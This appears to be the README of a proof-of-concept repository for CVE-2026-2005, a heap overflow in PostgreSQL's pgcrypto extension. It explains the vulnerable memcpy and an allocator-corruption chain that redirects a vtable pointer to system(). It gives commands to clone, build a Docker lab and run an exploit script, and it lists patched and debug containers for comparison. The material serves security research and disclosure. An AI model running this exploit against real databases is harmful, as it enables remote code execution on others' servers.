通过单个 SQL 查询针对 PostgreSQL 的 pgcrypto 扩展实现远程代码执行。该漏洞是 pgp_parse_pubenc_sesskey() 中的堆缓冲区溢出,可破坏 PostgreSQL 内部 MemoryContext 分配器的元数据,从而以 postgres 用户身份实现任意代码执行。
| CVE | CVE-2026-2005 |
| 组件 | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122(基于堆的缓冲区溢出) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 受影响版本 | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| 修复版本 | 14.21, 15.16, 16.12, 17.8, 18.2 |
| 披露日期 | 2026-02-12 |
| 修复提交 | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# 等待约 5 秒让 postgres 初始化
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // 攻击者可控
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key 为 uint8[32]
ctx->sess_key 是嵌入在堆分配的 PGP_Context 结构体中的固定 32 字节缓冲区。精心构造的带有超大 RSA 加密会话密钥的 PGP 消息会将 sess_key_len 驱动至约 200 字节,从而溢出到相邻的堆分配区域。修复方案增加了 sess_key_len > PGP_MAX_KEY 边界检查。
sess_key[32] 的 148 字节溢出将伪造的分配器元数据写入相邻的 MBuf 分配区域MBuf->data 设置为 NULL,使 explicit_bzero 在清理过程中被跳过hdrmask 解码为 blockoffset=64,将块指针重定向到攻击者控制的数据AllocSetFree 将块地址写入 MC+16(即 MemoryContext->methods 字段),替换 vtable 指针MemoryContextDelete(MC) 通过我们伪造的 vtable 调用 methods->delete_context(MC) → system(MC)pgcrypto 扩展(CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 的触发脚本(包含在 Dockerfile.exploit 中)├── README.md
├── poc/
│ ├── exploit.py # 自包含的利用生成器 + 运行器
│ ├── gen_exploit_v7.py # 带注释的载荷构建器
│ ├── gen_payload.py # 仅崩溃的 PoC 生成器(所有溢出大小)
│ ├── poc_big.sql # 预生成的崩溃 PoC(SIGSEGV)
│ └── poc_minimal.sql # 最小 4 字节溢出 PoC
├── lab/
│ ├── docker-compose.yml # 完整实验环境:漏洞版、修复版、调试版、利用版
│ ├── Dockerfile.exploit # 发布构建 + 触发脚本(RCE 目标)
│ ├── Dockerfile.vuln # 标准漏洞构建(崩溃演示)
│ ├── Dockerfile.debug # Cassert 构建(断言演示)
│ ├── init.sql # 数据库初始化
│ └── setup.sh # 实验环境设置辅助脚本
├── reports/
│ ├── RCE-CHAIN.md # 详细的技术利用分析文档
│ ├── REPORT.md # 漏洞分析报告
│ └── TODO-FOR-RCE.md # 开发日志(已完成)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # 相关源代码片段
# 启动所有容器
cd lab && docker compose up -d
# 崩溃演示(标准构建上的 SIGSEGV)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# 修复构建(优雅拒绝)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# 调试构建(带文件:行号的断言)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm Docker 镜像。不同的构建/环境需要通过 GDB 或信息泄露重新校准地址。SELECT digest('x','md5'))可在利用查询前稳定堆布局。\xd5\x01 的二进制文件。Dockerfile 已预装此文件。真实环境中的利用需要事先具备写入权限或采用不同的 ROP/one-gadget 方法。--enable-cassert 的调试构建会在空闲链表写入前因断言而中止。379695d)此利用仅用于授权的安全研究和教育目的。请仅在受控实验环境中使用,并确保获得明确授权。
system() 将 MemoryContext 结构体作为字符串读取:NodeTag 0x1D5 = "\xd5\x01\x00\x00" → 执行 /usr/local/bin/\xd5\x01| 容器 | 端口 | 用途 |
|---|
pg-exploit | 5436 | RCE 目标(标准 17.7 + 触发脚本) |
pg-vuln | 5433 | 崩溃演示(标准 17.7,SIGSEGV) |
pg-fixed | 5434 | 修复构建(17.8,拒绝载荷) |
pg-debug | 5435 | 调试构建(cassert SIGABRT 并附带源码定位) |